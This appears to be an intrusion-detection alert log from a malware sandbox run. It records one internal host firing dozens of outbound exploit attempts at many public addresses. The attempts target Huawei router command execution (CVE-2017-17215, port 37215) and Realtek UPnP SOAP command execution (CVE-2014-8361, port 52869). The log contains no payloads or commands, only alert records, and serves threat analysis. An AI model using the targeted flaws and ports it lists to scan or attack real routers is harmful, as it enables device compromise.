ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.34.214.1

Timestamp:	07/20/24-23:10:42.263488
SID:	2829579
Source Port:	34470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.62.85.198

Timestamp:	07/20/24-23:10:59.046417
SID:	2835222
Source Port:	52864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 133.58.253.32

Timestamp:	07/20/24-23:10:40.110141
SID:	2027339
Source Port:	39414
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 163.184.174.135

Timestamp:	07/20/24-23:10:51.969301
SID:	2831300
Source Port:	57334
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.149.2.120

Timestamp:	07/20/24-23:10:52.549474
SID:	2835222
Source Port:	49404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.219.107.234

Timestamp:	07/20/24-23:11:06.676716
SID:	2835222
Source Port:	36432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.3.196.179

Timestamp:	07/20/24-23:11:06.657863
SID:	2835222
Source Port:	44324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 62.34.29.252

Timestamp:	07/20/24-23:10:52.538168
SID:	2835222
Source Port:	60798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.15.133.184

Timestamp:	07/20/24-23:10:41.227867
SID:	2829579
Source Port:	60384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.114.104.228

Timestamp:	07/20/24-23:10:41.224086
SID:	2829579
Source Port:	39318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 201.38.82.44

Timestamp:	07/20/24-23:10:52.029203
SID:	2831300
Source Port:	41490
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 71.5.90.99

Timestamp:	07/20/24-23:10:45.653136
SID:	2025132
Source Port:	56026
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.219.181.162

Timestamp:	07/20/24-23:10:59.029814
SID:	2835222
Source Port:	57584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.106.18.30

Timestamp:	07/20/24-23:10:40.653603
SID:	2829579
Source Port:	45884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 178.151.190.240

Timestamp:	07/20/24-23:10:41.231187
SID:	2835222
Source Port:	45458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.23.76.28

Timestamp:	07/20/24-23:10:52.538470
SID:	2835222
Source Port:	47432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 221.255.54.167

Timestamp:	07/20/24-23:10:51.900658
SID:	2027339
Source Port:	41830
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 154.8.108.34

Timestamp:	07/20/24-23:10:48.320201
SID:	2025132
Source Port:	50658
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 184.170.67.27

Timestamp:	07/20/24-23:10:51.898994
SID:	2831300
Source Port:	53610
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 140.238.108.223

Timestamp:	07/20/24-23:10:40.652868
SID:	2829579
Source Port:	52524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.169.76.138

Timestamp:	07/20/24-23:10:39.479939
SID:	2829579
Source Port:	47244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 1.176.202.8

Timestamp:	07/20/24-23:10:47.410885
SID:	2027339
Source Port:	48880
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 137.140.74.50

Timestamp:	07/20/24-23:10:43.804824
SID:	2025132
Source Port:	46024
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.227.47.61

Timestamp:	07/20/24-23:11:06.680205
SID:	2835222
Source Port:	33620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 100.137.5.97

Timestamp:	07/20/24-23:10:52.551688
SID:	2835222
Source Port:	33158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.36.72.248

Timestamp:	07/20/24-23:10:46.750826
SID:	2835222
Source Port:	42560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 18.50.207.232

Timestamp:	07/20/24-23:10:42.636830
SID:	2027339
Source Port:	46464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 168.40.43.172

Timestamp:	07/20/24-23:10:55.984751
SID:	2835222
Source Port:	41462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.197.250.97

Timestamp:	07/20/24-23:10:52.569477
SID:	2829579
Source Port:	46682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.237.231.99

Timestamp:	07/20/24-23:10:56.024592
SID:	2829579
Source Port:	48574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.200.28.4

Timestamp:	07/20/24-23:10:49.409236
SID:	2829579
Source Port:	48168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.229.107.116

Timestamp:	07/20/24-23:11:06.683012
SID:	2835222
Source Port:	49286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.136.199.255

Timestamp:	07/20/24-23:10:40.653603
SID:	2835222
Source Port:	55772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 167.80.147.223

Timestamp:	07/20/24-23:10:44.028699
SID:	2025132
Source Port:	51834
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.170.246.100

Timestamp:	07/20/24-23:10:59.057854
SID:	2835222
Source Port:	44800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.118.142.72

Timestamp:	07/20/24-23:10:41.228259
SID:	2829579
Source Port:	35100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 166.150.32.219

Timestamp:	07/20/24-23:10:51.905303
SID:	2831300
Source Port:	49230
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.63.7.91

Timestamp:	07/20/24-23:10:46.726397
SID:	2835222
Source Port:	59452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 161.93.54.6

Timestamp:	07/20/24-23:10:44.637464
SID:	2025132
Source Port:	52598
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 211.213.18.108

Timestamp:	07/20/24-23:10:47.680323
SID:	2027339
Source Port:	45624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.14.80.20

Timestamp:	07/20/24-23:10:55.995070
SID:	2829579
Source Port:	50642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.78.213.186

Timestamp:	07/20/24-23:10:46.832505
SID:	2829579
Source Port:	53182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 124.198.16.179

Timestamp:	07/20/24-23:11:03.406798
SID:	2829579
Source Port:	44780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 118.195.136.102

Timestamp:	07/20/24-23:11:06.696229
SID:	2829579
Source Port:	58472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.82.70.179

Timestamp:	07/20/24-23:10:46.755097
SID:	2835222
Source Port:	49986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 69.83.208.136

Timestamp:	07/20/24-23:10:49.447315
SID:	2835222
Source Port:	54176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.135.54.100

Timestamp:	07/20/24-23:10:41.241455
SID:	2835222
Source Port:	43444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.70.99.46

Timestamp:	07/20/24-23:10:46.810541
SID:	2829579
Source Port:	59880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 125.46.245.158

Timestamp:	07/20/24-23:10:42.620216
SID:	2831300
Source Port:	44816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 147.97.199.44

Timestamp:	07/20/24-23:10:52.569477
SID:	2835222
Source Port:	34420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.153.57.179

Timestamp:	07/20/24-23:10:49.420934
SID:	2829579
Source Port:	43056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.239.43.82

Timestamp:	07/20/24-23:10:52.558618
SID:	2829579
Source Port:	50846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.24.221.239

Timestamp:	07/20/24-23:10:46.810541
SID:	2835222
Source Port:	40276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 91.159.64.203

Timestamp:	07/20/24-23:10:39.391618
SID:	2027339
Source Port:	57164
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.74.96.150

Timestamp:	07/20/24-23:10:39.473748
SID:	2829579
Source Port:	42690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.157.158.254

Timestamp:	07/20/24-23:11:06.706397
SID:	2829579
Source Port:	47794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.31.242.46

Timestamp:	07/20/24-23:10:41.231287
SID:	2829579
Source Port:	47704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 92.216.196.59

Timestamp:	07/20/24-23:10:43.197086
SID:	2025132
Source Port:	38332
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 54.134.33.11

Timestamp:	07/20/24-23:10:40.599066
SID:	2829579
Source Port:	44088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.37.222.176

Timestamp:	07/20/24-23:10:41.221768
SID:	2829579
Source Port:	46468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.21.7.132

Timestamp:	07/20/24-23:10:40.662520
SID:	2829579
Source Port:	54186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.126.48.213

Timestamp:	07/20/24-23:10:42.253016
SID:	2835222
Source Port:	54072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 46.156.254.69

Timestamp:	07/20/24-23:10:44.575723
SID:	2027339
Source Port:	33552
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 23.180.240.118

Timestamp:	07/20/24-23:10:39.162925
SID:	2025132
Source Port:	60444
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 8.126.91.237

Timestamp:	07/20/24-23:10:42.625706
SID:	2831300
Source Port:	43008
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.171.21.228

Timestamp:	07/20/24-23:10:52.551688
SID:	2829579
Source Port:	42154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 65.159.253.195

Timestamp:	07/20/24-23:10:52.581035
SID:	2829579
Source Port:	36456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 92.195.216.129

Timestamp:	07/20/24-23:10:44.666926
SID:	2025132
Source Port:	52020
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 117.145.143.198

Timestamp:	07/20/24-23:11:03.382352
SID:	2835222
Source Port:	36134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.41.11.247

Timestamp:	07/20/24-23:10:41.243831
SID:	2835222
Source Port:	52868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.238.110.13

Timestamp:	07/20/24-23:10:49.360961
SID:	2829579
Source Port:	41952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 107.109.242.56

Timestamp:	07/20/24-23:11:06.663147
SID:	2835222
Source Port:	40880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 37.21.17.204

Timestamp:	07/20/24-23:10:39.198702
SID:	2027339
Source Port:	38462
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 87.2.229.121

Timestamp:	07/20/24-23:10:44.615528
SID:	2027339
Source Port:	59672
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.233.64.238

Timestamp:	07/20/24-23:11:03.343633
SID:	2835222
Source Port:	39704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.229.212.87

Timestamp:	07/20/24-23:10:46.779706
SID:	2835222
Source Port:	40774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 87.46.238.224

Timestamp:	07/20/24-23:10:51.988569
SID:	2027339
Source Port:	35012
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 131.159.98.164

Timestamp:	07/20/24-23:10:42.620951
SID:	2027339
Source Port:	38952
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.1.217.148

Timestamp:	07/20/24-23:10:39.492375
SID:	2829579
Source Port:	47548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.173.187.89

Timestamp:	07/20/24-23:11:03.378926
SID:	2829579
Source Port:	45540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 80.66.53.41

Timestamp:	07/20/24-23:10:42.641904
SID:	2027339
Source Port:	33094
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 208.41.148.99

Timestamp:	07/20/24-23:10:43.558832
SID:	2025132
Source Port:	47892
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 84.101.193.179

Timestamp:	07/20/24-23:10:51.955556
SID:	2831300
Source Port:	35572
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.230.65.230

Timestamp:	07/20/24-23:11:03.381593
SID:	2835222
Source Port:	42144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.106.243.14

Timestamp:	07/20/24-23:10:39.434124
SID:	2835222
Source Port:	45790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 197.206.241.145

Timestamp:	07/20/24-23:10:43.220759
SID:	2025132
Source Port:	58788
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 74.74.206.232

Timestamp:	07/20/24-23:10:43.459650
SID:	2025132
Source Port:	43790
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 170.247.115.65

Timestamp:	07/20/24-23:10:53.786733
SID:	2027339
Source Port:	52728
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 152.185.119.107

Timestamp:	07/20/24-23:10:52.578509
SID:	2829579
Source Port:	42362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.208.193.169

Timestamp:	07/20/24-23:11:03.378465
SID:	2835222
Source Port:	35240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.252.37.33

Timestamp:	07/20/24-23:10:52.564314
SID:	2835222
Source Port:	41838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 32.169.224.65

Timestamp:	07/20/24-23:10:39.173718
SID:	2025132
Source Port:	35130
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.33.184.127

Timestamp:	07/20/24-23:11:03.396755
SID:	2829579
Source Port:	59700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 23.180.240.118

Timestamp:	07/20/24-23:10:42.629188
SID:	2831300
Source Port:	32912
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 222.46.101.20

Timestamp:	07/20/24-23:10:42.661465
SID:	2831300
Source Port:	47494
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 77.15.142.198

Timestamp:	07/20/24-23:10:52.021884
SID:	2027339
Source Port:	59256
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 220.28.169.153

Timestamp:	07/20/24-23:10:46.724339
SID:	2835222
Source Port:	44738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.251.91.98

Timestamp:	07/20/24-23:11:03.368250
SID:	2829579
Source Port:	45064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 211.127.214.18

Timestamp:	07/20/24-23:10:42.255257
SID:	2829579
Source Port:	43890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 221.44.210.72

Timestamp:	07/20/24-23:10:39.487319
SID:	2835222
Source Port:	43092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 208.41.148.99

Timestamp:	07/20/24-23:10:51.909417
SID:	2027339
Source Port:	49058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

